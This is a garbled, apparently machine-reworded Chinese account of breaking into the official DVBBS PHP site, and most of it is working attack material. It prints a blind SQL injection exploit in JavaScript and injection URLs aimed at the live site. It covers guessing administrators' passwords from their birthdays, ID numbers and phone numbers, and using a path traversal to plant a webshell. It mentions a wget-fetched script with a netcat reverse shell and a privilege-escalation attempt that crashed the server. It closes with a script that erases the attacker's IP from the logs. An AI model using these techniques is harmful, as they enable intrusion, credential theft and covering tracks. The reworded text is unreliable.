入侵砍下DVBBS php官网详细进程(图)

几 个月前,DVBBS
php2.0暴了一个方可一向读出管理员密码的sql注入漏洞,当时那一个漏洞出来的时候,我看的心痒,怎么还会有那样平庸的尾巴,DVBBS
php2.0那套代码我还没仔细看过,于是二月尾旬本身down下来大概看了下,接着自己花了五日的大运,轰下p.dvbbs.net,即动网php的法定网
站,并取得了webshell。总的来说,这一次侵犯凭的是二分技术加一分运气。 
一、 SQL注入漏洞: 
夜幕检讨了旷日持久,终于在topicother.php中发觉了一处sql注入漏洞,但是并不像前段时间暴的尾巴那么粗略,因为无法把密码间接读出数据库并展现出来,那是个移动帖子的报名主函数,我概括搜索了下,1.0接近后来就大增了那几个职能。好了,来看具体函数: 
function PostActive_Main(){ 
…… 
$TopicID = $GLOBALS[‘id’]; 
$activeid = trim($_GET[‘activeid’]);//activeid并没有过滤 
$timemode = $_POST[‘payment’]; 
$systemmode = trim($_POST[‘contact’]); 
$message = trim($_POST[‘message’]); 
$gettimemode = trim($_POST[‘timemode’]); 
$getstarttime = trim($_POST[‘starttime’]); 
$getendtime = trim($_POST[‘endtime’]); 
$getexpiretime = trim($_POST[‘expiretime’]); 
if($timemode ==0) 
$costnum = 0; 
else 
$costnum = intval(trim($_POST[‘payvalue’])); 
//直接带进来使用了 
if( $query = $db->query(“SELECT u1.sex,u1.strength,u2.usersex FROM {
$dv }active as u1,{ $dv }user as u2 WHERE activeid={ $activeid }”)){ 
$activeinfo =& $db->fetch_array($query); 
if( !empty($activeinfo) ) { 
$db->free_result($query); 


if( $num = $db->query(“SELECT count(*) as num from { $dv }activeuser
where activeid='”.$activeid.”‘”)){ 
$activenum = $db->fetch_array($num); 
if( !empty($activenum) ) { 
$db->free_result($num); 


… 
//即使查取的activeid不得法或者后边注入的尺度不树立,则显示呈现str1:对不起!本活动报名家数已满! 
if($activenum[‘num’]>=$activeinfo[‘strength’]){ 
head(0,0,0,$arrNavMenu); 
showmsg($lang[‘Active_Error.str1’]); 
exit; 

//若是activeid正确(前边注入的条件也树立),但并未登陆,就展现str2:请登陆后操作! 
if ($userid==0) { 
head(0,0,0,$arrNavMenu); 
showmsg($lang[‘Active_Error.str2’]); 
exit; 

… 
//若是activeid正确并且已经登陆了,递交的时候没有递交联系情势,则会显示str6那个颠倒是非:对不起联系情势无法为空或低于8个字符! 
if (”==$systemmode||strlen($systemmode) 
第一先确定有没有activeid为1的移动帖子,就是在论坛目录后增进 
topicother.php?t=9&action=join&activeid=1 
显示“对不起!本活动报有名气的人数已满!”则有可能不存在,自己注册个号进去发个活动帖子先。 
依照上边表达,大家是还是不是业已看出来该怎么注入啦,并不是怎么着都亟待工具的,想当年ACCESS手工注入又不是没注入过,判断标准不利就回到正常,错误就不正
常呈现;那里不也是同等的道理么,不管有没登陆,出错都浮现:“对不起!本活动报有名气的人数已满!”,假使判断标准不利,没有登陆的话突显:“请登陆后操
作!”,已经登陆了浮现:“对不起联系格局不可以为空或小于8个字符!”于是当晚自我手动测试了须臾间法定,并成功博得了一个管理员的16位MD5的密码。开心的去睡觉,躺在床上却怎么也睡不着:怎么去更简单的应用呢?一边盘算,一边入睡,睡着的时候天都亮了。 
5个钟头后,睡醒了继承搞,因为尚未
开发这种application程序的经验,所以我没想去写个exp工具,但直接手工多麻烦啊,记得在此之前开发网站的时候用ajax去get或者post数
据并回显的,那里是或不是也同等可以?于是自己尝尝写,轻轻松松写出个单纯判断md5某一位的ajax代码,不过在写循环的时候却出错了,后来flyh4t
上线丢给自家一段代码,我参考了一下然后一个方可读任意DVBBS
php站点管理员密码的根据页面的Exploit code搞定了(列出第一代码): 
function sendCall(i,j,url,w,p) { 
if (p==”temp”){ p=url } 
//后台密码、用户名、关联的前台用户名 
switch(parseInt(w)){ 
case 0:url = p “/**/and/**/ascii(mid(password,” i “,1))=” j
“)/**/”;break; 
case 1:url = p “/**/and/**/ascii(mid(username,” i “,1))=” j
“)/**/”;break; 
case 2:url = p “/**/and/**/ascii(mid(adduser,” i “,1))=” j
“)/**/”;break; 
//前台密码、用户名 
case 3:url = p “/**/and/**/ascii(mid(userpassword,” i “,1))=” j
“)/**/”;break; 
case 4:url = p “/**/and/**/ascii(mid(username,” i “,1))=” j
“)/**/”;break; 

if (window.ActiveXObject) { 
xmlHttp = new ActiveXObject(“Microsoft.XMLHTTP”); 
} else if (window.XMLHttpRequest) { 
xmlHttp = new XMLHttpRequest(); 
//解决FF中跨域问题 
try{ 
netscape.security.PrivilegeManager.enablePrivilege(
“UniversalBrowserRead “); 
} catch (e) { 
alert( “Permission UniversalBrowserRead denied. “); 


xmlHttp.onreadystatechange = function() { 
if(xmlHttp.readyState == 4 && xmlHttp.status ==200) { 
var str = xmlHttp.responseText; 
var md5hash=document.getElementById(“md5hash”); 
if(!str.match(/\u672c\u6d3b\u52a8\u62a5\u540d\u4eba\u6570\u5df2\u6ee1/))

pass = String.fromCharCode(j); 
md5hash.innerHTML = pass; 
j = 48; 
i ; 

else { 
if(j == 59&&(parseInt(w)==0||parseInt(w)==3)) { j = 96; } 
else { j ; } 

if(pass.length >= 16) { alert(“Exploitation Successfull!. Admin MD5
Hash(or username): ” pass); return true; } 
sendCall(i,j,url,w,p); 


xmlHttp.open(‘GET’, url, true); 
xmlHttp.send(null); 

工具不匡助粤语用户名,但协理字母 数字 常用符号组合。 
随后就简单啦,先判断下官网后台的管理员人数: 
http://p.dvbbs.net/topicother.php?t=9&action=join&activeid=1/\*\*/and/\*\*/10=(select/\*\*/count(\*)/\*\*/from/\*\*/dv\_admin
下一场判断一下后台管理员id是从多少到有些: 
http://p.dvbbs.net/topicother.php?/topicother.php?t=9&action=join&boardid=2&id=1&activeid=1/\*\*/and/\*\*/1=(select/\*\*/count(\*)/\*\*/from/\*\*/dv\_admin/\*\*/where/\*\*/id=1

后可以按照留存的后台id用工具去暴密码啦,速度还蛮快的,一会自我就水到渠成赢得了后台所有的md5
password,cmd5.com去跑了下,只能跑出一个,其余不是not
found就是要收费。到前台转了下,发现前台可以看出的管理人只有多少个,貌似有些后台管理员前台并不显得为社团者,但是我也用工具暴出前台管理员的密
码,留着备用,查了下,也只成功跑出了一个。 
出于动网的前台与后台管理员时期有对应提到,因而不能用那些管理的前台密码加上更加管理员的后
台密码去登陆后台,研究了下代码跟数据库,后台表中的adduser那些字段就是相呼应的前台密码。不过既然那样,我获得的新闻就不可以使用,那怎么去取得
一个后台权限呢,md5的留存让流入的光华变的惨淡了,怪不得那会儿相当漏洞那么简单的可以读密码那么些大牛们都没把官方站点拿下,官方站不存在白痴管理员
啊… 
又到早晨了,依然不曾进展,我在想是割舍照旧该怎么继续,去126信箱翻翻ph4nt0m的局地帖子,我豁然想到个艺术… 
二、 社会工程学: 

实那是让我喜形于色的地点,我自我感觉无论什么样技术,都没社会工程学来的令人心动,而且一旦用用心,社会工程学就可以被演绎的淋漓。不过这段让我可怜
开心的经历,我或者不可能多写,因为那关系到法定多位管理员的难言之隐,我只是简短的侵入检测,并不想成为别有用心之人的参阅。 
简易了说一下:由于adduser是中文的话,我的工具暴不了,但我可以用语句臆度(把adduser十六进制处理下就OK了): 
http://p.dvbbs.net/topicother.php?t=9&action=join&activeid=1/\*\*/and/\*\*/1=(select/\*\*/count(\*)/\*\*/from/\*\*/dv\_admin/\*\*/where/\*\*/adduser=0x…………/\*\*/and/\*\*/id=..) 
我用..代替省略掉十六进制用户名,前面的ID也省略下。那样,我可以轻松的猜出后台某个ID对应的前台用户名,于是我找了多少个管理员作为突破口。 

为自我有前台管理员权限,于是自己以前台找了下拥有管理员、超级版主以及可以看看的动网团队的人手的音讯,并采集归拢到一个txt文件中,然后我去百度跟谷歌搜索这个管理员的用户名,搜集一些他们日常造访的站点以及留下的新闻:生日、身份证编号、QQ号码、电话号码、邮箱等等等,最终依据这几个音讯依照取得的
md5密码推测可能存在的密码,终于比昏昏然茫茫然的始发好多了,实在不行的时候,我再跑到DVBBS的ASP论坛去赢得有关的音讯,终于到终极一个早上的鼎力没有白费,我在晚间打下了DVBBS php官方网站的后台: 
ACCESS 1 
这一个快乐,我给flyh4t截了个图宣扬了下战果,然后跑到ph4nt0m发了个帖子告诉大家社会工程学的伟人(结果被众大牛牛们鄙视了…寒) 
三、 后台跨目录写文件漏洞: 
一天的时刻,我赢得后台的管理权限,真的很不便,但革命尚未甘休,还没得到webshell呢,但是貌似而言,获得了后台权限,就离webshell不远了,flyh4t说写个模板就足以搞定了,我没要紧搞,先去吃个饭… 
回到后,我在后台用syinfo.php?act=phpinfo看了下系统,典型的LAMP 
(linux,apache,mysql,php)组合,看来要全力以赴的还广大呀;我依照常规思路准备写个php的模板,不过新建模板的时候却出错了: 
ACCESS 2 
不是0777权力,写不进入。如何是好? 
后台晃悠,看看可不得以找到别的的突破口,不过很倒霉,从夜间翻到凌晨都没察觉有一处可以采纳的地方,可能php后台拿webshell的主意本身不熟,一直搞惯了asp的站,到php就思路堵塞了,百度了下方法,也没找到。难道伟大的革命要终结啦? 

了一会,我居然在模板页面上边看到一个建目录的地点,不过依旧没权限建,哎,linux就是麻烦,借使是windows肯定不会权限这么变态的,自己的站
一般景况下自然可以写的,想到可写,我猛然眼睛一亮,对呀,那个站可以有可写的地方啊,比如上传头像上传图片或者文件,都亟需可写的目录啊,linux权
限设置的即使变态,但总会预留个能够的地点的,不过问题是自己该怎么利用? 
胡乱尝试了好多次跨目录建目录或者文件败北后(现在回看回看怎么会出错的,我把目录跟英文名搞混淆了),我控制不要盲目搞了,读读源代码,于是自己打开admin里的template.php开端读,这不读不要紧,一读居然发现了可以跨目录写文件的纰漏。 
胡乱填路径肯定出错,还有出错的来由是华语名一定要输中文名,英文名称无所谓,看代码先: 
if(!is_dir($destfile)) { 
if ($issafemode = ini_get(‘safe_mode’)) { 
show_msg($lang[‘page_title’], str_replace(‘{ $TPL_DIR }’,
$destfile, $lang[‘tpl.error12’])); 
footer(); 
exit; 

if (!mkdir($destfile, 0777)) { 
show_msg($lang[‘page_title’], $lang[‘tpl.error4’]); 
footer(); 
exit; 


因而看来$destfile是重中之重了,再看看那些变量是怎样: 
$destfile =
simpleMapPath($_POST[‘add_directory’].’/’.$_POST[‘add_ename’]); 
有个simpleMapPath在过滤啊,怪不得,再看看这些函数: 
function simpleMapPath($path) 

global $_SERVER; 
if (empty($path)) { 
return false; 

$path = preg_replace(‘#(?:\\ )|(?:/ )#i’, ‘/’, $path); 
if ($path{ 0 } === ‘/’) { 
$documentroot = realpath(str_replace(‘\\’, ‘/’,
$_SERVER[‘DOCUMENT_ROOT’])); 
return $documentroot.$path; 
} elseif(substr($path, 0, 3) === ‘../’) { 
return $path; 
} else { 
return ROOT_PATH.$path; 


那段函数看的自家稍微无语,实在看不出来他想过滤什么…专门写了个php文件把那几个函数复制进去本机测试了下,完全可以写进上一层的目录。 
甭管相对路径依然相对路径都可以轻松在uploadfile里写个目录,然后写个模板里面,编辑下,于是得到了webshell。此时天都快亮了,想睡觉的,不过睡不着,何不一鼓作气,拿下系统权限? 
四、 失利的提权: 
是因为提权失利了,所以这一部分本人也不难略过,即便那开销了自己一半的光阴,但是水平不行啊。管理员权限给的太变态了,除了uploadfile,其余兼具目录都不足写…不管了,有可写的地方就可以了,先查下服务器版本,输入uname
-a;id,重返: 
Linux p.dvbbs.net 2.6.9-5.ELsmp #1 SMP Wed Jan 5 19:30:39 EST 2005 i686
i686 i386 GNU/Linux 
uid=2(daemon) gid=2(daemon) groups=1(bin),2(daemon),4(adm),7(lp) 
检 查了下perl
、wget,都安装上了,于是wget一个comeback.pl,接着用NC反弹下,也成功反弹回来本地shell,心想这么顺遂啊,接下去就是提权
了,可是翻遍了milw0rm.com,找了各样提权的应用程序,就是从未一个能打响的,我百度谷歌了N久,网上关于linux下提权的篇章分外少,有的
基本都是一个样,反弹一下然后提权,可是大家能轻松提权的prtcl.c在此处对它搓手顿脚… 
到了深夜事实上太困了睡了一会儿,醒来后继续搞,但结尾仍旧以战败告终,并且把它服务器溢出挂了,我急忙收手,哎,我太菜了,就不做坏事了,留个页面记念下: 
ACCESS 3 
五、 清理遗留: 
Linux下的遗留我就不能了,没提权成功,权限太小;但网站留下来的事物必须理清掉。于是写个clear.php: 
define(‘ISDVBBS’, TRUE); 
require ‘../inc/config.php’; 
require ‘../inc/dv_clssql.php’; 
$db= new sqldb(); 
defined(‘DV_MUF_DB_HOST’) AND ($dbhost = DV_MUF_DB_HOST); 
$db->connect($dbhost, $dbuser, $dbpw, $dbname ,
$charset,$pconnect); 
//清除我新建的模版 
$db->query(“DELETE FROM dv_styles WHERE name=’啊啊啊'”); 
//清除我所在的IP后台操作日志 
ACCESS,$db->query(“DELETE FROM dv_log WHERE l_ip=’58.213.51.65′”); 
echo “ok!”; 
?> 
传到uploadfile里面,浏览器里运行下,于是ok… 

相关文章